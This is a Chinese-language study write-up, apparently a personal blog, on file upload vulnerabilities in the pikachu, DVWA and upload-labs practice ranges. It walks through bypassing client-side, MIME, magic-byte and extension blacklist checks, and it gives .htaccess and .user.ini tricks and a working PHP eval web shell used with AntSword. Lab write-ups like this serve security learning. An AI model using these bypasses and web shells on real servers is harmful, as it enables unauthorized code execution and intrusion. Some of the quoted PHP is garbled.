文件上传漏洞

概念

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。
文件上传” 本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

(pikachu)靶场

clientcheck

  • 尝试
    选择除了图片之外的文件都被限制上传
  • 分析过滤位置(前端 or 后端)
    审计前端代码


    原来是在前端用 js 做了限制喔
  • onchange 事件
    参考 https://www.runoob.com/jsref/event-onchange.html
    onchange 事件会在域的内容改变时发生。
    onchange 事件也可用于单选框与复选框改变后触发的事件。
  • 绕过
  1. 让我们删除 onchage 事件看看

    哈哈,上传成功
  2. 浏览器禁用 javascript
    在浏览器上下一个插件,就可以随意控制 js 的开关,反正咱们的文件受限制最主要原因就是 js 代码,关掉 js,它难道还能过滤?
  3. Burp 抓包修改
    先明确咱们的目的:将 php 文件上传到指定文件夹,之后用中国蚁剑进行连接,获取文件管理查看权限
    分析问题:前端 js 代码对文件格式进行了限制,只能使用图片
    解决问题:它上传文件分成两步,先选择,再上传,js 只在选择过程进行作用。我们可以先使用 jpg 格式上传蒙蔽它,在上传的时候抓包,更改文件格式为 php 即可!

MIME type

  • 源码分析
    if (isset (_POST['submit'])){ // var_dump(_FILES);
    $mime=array (‘image/jpg’,‘image/jpeg’,‘image/png’);// 指定 MIME 类型,这里只是对 MIME 类型做了判断。
    $save_path=‘uploads’;// 指定在当前目录建立一个目录
    upload=uploadsick(uploadfile,upload=upload_sick('uploadfile',mime,savepath);//调用函数if(save_path);//调用函数 if(upload[‘return’]){
    html.="

    文件上传成功

    文件保存的路径为:{upload[‘new_path’]}

    ";
    }else{
    html.="

    {upload[‘error’]}

    ";
    }
    }
    这段代码的意思是只允许上传的文件为三种图片的格式,并且保存至 uoloads 文件夹下,主要是在上传过程中过滤的文件格式
  • MIME 类型
    参考 https://www.runoob.com/http/mime-types.html
    是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。
    MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
    服务器在发送真正的数据之前,就要先发送标志数据的 MIME 类型的信息,这个信息使用 Content-type 关键字进行定义
  • upload_sick () 函数
    (1)仅检查了 MIME 类型,可以通过抓包修改绕过。
    (2)保存文件的时候没有重命名文件,这样即使网页不回显文件保存路径,也有很大概率可以被攻击者猜测到。
  • 尝试
    之前的分析是正确的,我们在选择文件时并没有对文件格式进行限制,在上传时会报错
  • 绕过
  1. 使用 burp 对 Content-type 的 MIME 类型进行更改

  2. 使用 burp 对上传的图片进行文件后缀更改,服务器会多出一个无用的图片文件
  • 用中国蚁剑进行连接,获取文件管理查看权限

getimagesize

  • getimagesize 函数
    参考 https://www.runoob.com/php/php-getimagesize.html
    用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
    测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
  • 源码分析
    if (isset ($_POST [‘submit’])){
    $type=array (‘jpg’,‘jpeg’,‘png’);// 指定类型
    $mime=array (‘image/jpg’,‘image/jpeg’,‘image/png’);
    $save_path=‘uploads’.date (’/Y/m/d/’);// 根据当天日期生成一个文件夹
    upload=upload(uploadfile,512000,upload=upload('uploadfile','512000',type,mime,mime,save_path);// 调用函数
    if ($upload [‘return’]){
    html.="

    文件上传成功

    文件保存的路径为:{upload[‘save_path’]}

    ";
    }else{
    html.="

    {upload[‘error’]}

    ";
    }
    }
    这段代码主要是靠 upload 这个函数的主要作用
  • upload 函数
    参考 https://www.pudn.com/news/628b055016e0ca71413e2264.html#_MIME_type_99
  1. 用文件名后缀白名单 $type 过滤后缀名不在白名单中的文件
  2. 用 MIME type 白名单 $mime 过滤 MIME type 不在白名单中的文件
  3. 用 getimagesize () 函数来判断是否是真实图片(可以通过图片马绕过)
  4. 修改文件名为随机值(本来是防止攻击者猜测文件路径的,但是由于网页上回显了文件保存路径,所以这个重命名的步骤显得没有什么卵用了。)
  • 绕过
  1. 文件幻术头
    每种类型的图片内容最开头会有一个标志性 的头部,这个头部被称为文件幻术。常用图片类型有以下几类:
    1)绕过 jpg 文件幻术检测要在文件开头写上下图的值
    Value = FF D8 FF E0 00 10 4A 46 49 46
    2)绕过 png 文件幻术检测要在文件开头写上下图的值:
    Value = 89 50 4E 47
    3)绕过 gif 文件幻术检测要在文件开头写上下图的值:
    Value = 47 49 46 38 39 61
    GIF89a
    这里只有 GIF89a 成功绕过
    Q:
    本来只允许这三种’jpg’,‘jpeg’,'png’格式图片上传,为啥 gif 类型的也🆗?
    A:
    maybe 文件类型和后缀名是分开校验的。校验文件类型的函数只校验了是否是图片 (没管是什么类型的图片),而 jpeg 和 png 的校验只校验了后缀名。
    中国蚁剑连接:
    http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/10/09/1254146342be7e1691f536303049.jpg&submit = 提交
    结合文件包含漏洞那一关连接上的,在本关这里尝试连接失败
  2. 结合 burp 和文件幻术头
    其实这俩本质差不多,在一句话木马前加入 GIF89a,文件保存成任意格式
    Burp 在上传图片时抓包更改 MIME type 和文件后缀名
  3. 上传图片马
    1)文本方式打开,末尾粘贴一句话木马
    亲测感觉很容易不小心损坏图片,而且貌似也不能绕过。
    2)cmd 中 copy 1.jpg/b+2.php 3.jpg
    … 烦躁,不顺利感觉不太靠谱,我明天整理一下思路重新试一试

(DVWA)靶场

low

这一题没啥好说的,很简单,在文件中写入一句话木马,直接上传,蚁剑连接成功

  • 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>

源码未对文件做任何过滤和检查

medium

上传 php 文件失败了
用 js 屏蔽插件试一试,也失败了,看来不是在前端做过滤
那我抓包看看,发现有 content-type 验证,
改成 image/png 或者 image/jpeg 看看
成功上传,蚁剑连接即可

  • 分析源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';

对文件大小和 content-type 做了验证

high

咩,好烦,我的图片马就是传不上去我真的难受。。。。。

impossible

up-loads

Pass-01

前端过滤(功能写在前端,感觉一切在前端进行安全验证的行为都是不安全的)

  • 上传一句话木马文件
    失败,只允许上传图片
  • 上传时候抓个包看看呗
    哦哟,上传操作居然没包,看来这过滤操作八成在前端
  • 关闭 js 作用
    上传成功
  • 蚁剑也很顺利的连接成功
    这里可能会有一个问题如何 get 到木马文件上传后的路径,这样才能和蚁剑连接


    我们 f12 进行上传操作后,看代码路径

Pass-02

白名单验证

  • 上传一句话木马文件
    提示:文件类型不正确,请重新上传!
    失败,只允许上传图片
  • 上传时候抓个包看看呗
    很好,看到 content-type
    先默认对文件名后缀未进行过滤筛查
    将 MIME 类型改为 image/png
    放包
    bingo,成功!!!
  • 蚁剑连接

Pass-03

黑名单验证

  • 上传一句话木马文件
    提示:不允许上传.asp,.aspx,.php,.jsp 后缀文件!
    用黑名单不允许上传.asp,.aspx,.php,.jsp 后缀的文件,但可以上传.phtml、 .php3 .php5、php4、 .pht、php1、php2、phps
  • 有个棘手问题
    Q: 传是可以传上去,并且也可以通过源代码查看文件具体位置,但是很棘手的问题就是,这些文件名蚁剑和菜刀连不上去…
    A: 首先在页面显示一下 php 文件和 php5 文件,发现 php 文件进行了解析,但是 php5 等一系列均不行,应该是 apache 的解析出来问题
  1. D:\PhpStudy2018\PHPTutorial\Apache\conf 加上 AddType application/x-httpd-php.php.phtml.php3.php4.php5 重启
    很遗憾,我失败了
  2. 参考 https://www.cnblogs.com/Article-kelp/p/14927087.html
    PHPStudy 中 AddType application/x-httpd-php 等 Apache 命令之所以在 Apache 的设置文件中设置后未实现目标效果是由于 PHP 的版本不符导致的,但注意这里的 PHP 版本并不是指 PHP7.3.0、PHP7.4.0 这种版本号,也不是适用于 32 位的 PHP、适用于 64 位的 PHP 这种不同机型的版本,而是 PHP 的 NTS (Non Thread Safe) 与 TS (Thread Safe) 的这种不同版本导致的。
    简单来说 TS 版本的 PHP 是更适合与 Apache 配套使用的 (虽然 NTS 版本也能用但是多少有些不足),如果我们想使用在前面说的那些 Apache 设置指令就需要使用 TS 版本的 PHP,但不幸的是 PHPStduy 中提供的均是 NTS 版本的 PHP

    解决方案:安装 TS 版本的 PHP,并在 Apache 中配置好相关设置。
    让我后续考虑一下…
    不想安,可是不安装很影响我后面的测试哎…

安装(php ts) 版本

php 官网:https://www.php.net/

  • 去 php 官网下载 php-7.0.6-Win32-VC14-x64
    解压如下:
  • 在如下图中加入 LoadModule php7_module “D:/phpstudy/Extensions/php/php7.0.6ts/php7apache2_4.dll”
  • 将 D:\phpstudy\Extensions\php\php7.0.6ts 中的 php.ini-development 文件改为 php.ini
    extension_dir = “D:/phpstudy/Extensions/php/php7.3.4nts/ext”

Pass-04

黑名单验证
“.php”,".php5",".php4",".php3",".php2",“php1”,".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",“pHp1”,".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"

  • .htaccess 是什么
    参考 http://t.csdn.cn/DSdUf
    全称是 Hypertext Access (超文本入口) .htaccess 文件也被成为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
  • .htaccess 功能
    文件夹密码保护、用户自定义重定向、自定义 404 页面、扩展名伪静态化、禁止特定 IP 地址的用户、只允许特定 IP 地址的用户、禁止目录列表
    很可惜,这么一个强大的功能默认是不开启的 Apache (有伪静态的都可以试试) 、
  • 用法
    AddType application/x-httpd-php .jpg 这个指令代表着.jpg 文件会当做 php 来解析
    SetHandler application/x-httpd-php,意思是把所有文件都解析为 php 文件来执行。
  • 绕过
    上传.htaccess 解析文件,利用其配置,将白名单文件的类型解析成 php 文件类型。
  • 注意
    当上传的文件会进行文件改名时,配置文件就没有作用了
  • 阅读资料
    https://www.cnblogs.com/BOHB-yunying/articles/11148845.html
  • 第二种思路
    看到有博主会使用 apache 解析漏洞
    后缀名冗余(未知扩展名)绕过,比如 1.php.aaa
    文件内容为 php 代码的未知扩展名文件,会被以 module 方式运行 php 的 apache 解析
    不过,重点是我失败了…

Pass-05

  • 黑名单过滤
    没有转换成小写的函数
    strtolower ()
  • 绕过
    大小写进行绕过,我看到有博主使用 PHP 也可以绕过,但是我的都不行
    上传 Php 文件
    居然解析不了,离谱…

Pass-06

  • 黑名单过滤
    没有去除空格的函数
    trim ()
  • 绕过
    加上空格进行绕过,抓包修改
    蚁剑也可以正确连接

Pass-07

  • 黑名单过滤
    没有删除文件名末尾的点
    deldot ()
  • 绕过
    使用文件名后加。进行绕过,抓包修改
    蚁剑也可以正确连接

Pass-08

  • 黑名单过滤
    没有 str_ireplace (’::$DATA’, ‘’, fileext);//去除字符串::file_ext);//去除字符串::DATA
  • 绕过
    参考 http://t.csdn.cn/6h3Li
    在 php+windows 的情况下:如果文件名 +::DATA会把::DATA会把::DATA 之后的数据当成文件流处理,不会检测后缀名,且保持::DATA之前的文件名。利用windows特性,可在后缀名中加”::DATA之前的文件名。利用windows特性,可在后缀名中加”::DATA 绕过,它的作用就是不检查后缀名,例如:“phpinfo.php::DATA”,Windows会自动去掉末尾的::DATA”,Windows会自动去掉末尾的::DATA 变成 "phpinfo.php"。使用 brup 抓包修改文件后缀为::DATA,且文件内容为<?phpphpinfo();?>,点击上传。路径不要加上::DATA,且文件内容为<?php phpinfo();?>,点击上传。 路径不要加上::DATA
    蚁剑也可以正确连接

Pass-09

  • 黑名单过滤
    还剩.ini 文件没过滤
  • php.ini
    php.ini 是 php 的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
    但是想要引发 .user.ini 解析漏洞需要三个前提条件
1
2
3
服务器脚本语言为PHP  
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件
  • 绕过
    目录下假设有一个可执行的 php 文件(readme.php)
    readme.php
1
<?php echo('1');?>

参考:http://t.csdn.cn/Q9MUp

1
nts是cgi模式,nt就是fastcgi模式
  1. 所以我们可以上传俩文件.user.ini 和 3.png
    user.ini
1
auto_prepend_file=2.png

3.png

1
<?php phpinfo();?>

在线打开 readme.php 文件,成功执行 3.png 文件中的 phpinfo 函数
2. 所以我们可以上传俩文件.user.ini 和 2.png
.user.ini

1
auto_prepend_file=2.png

2.png

1
<?php @eval($_POST['123']);?>

binggo, 蚁剑成功连接 readme.php(通过 user.ini 执行 2.png 的 php 脚本)

Pass-10

  • 黑名单过滤
    代码审计一下,发现一个过滤函数
    str_ireplace ()
1
2
3
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = str_ireplace($deny_ext,"", $file_name);
  • 绕过
    使用双写绕过
    抓包改成,3.pphphp

Pass-11

访问量 访客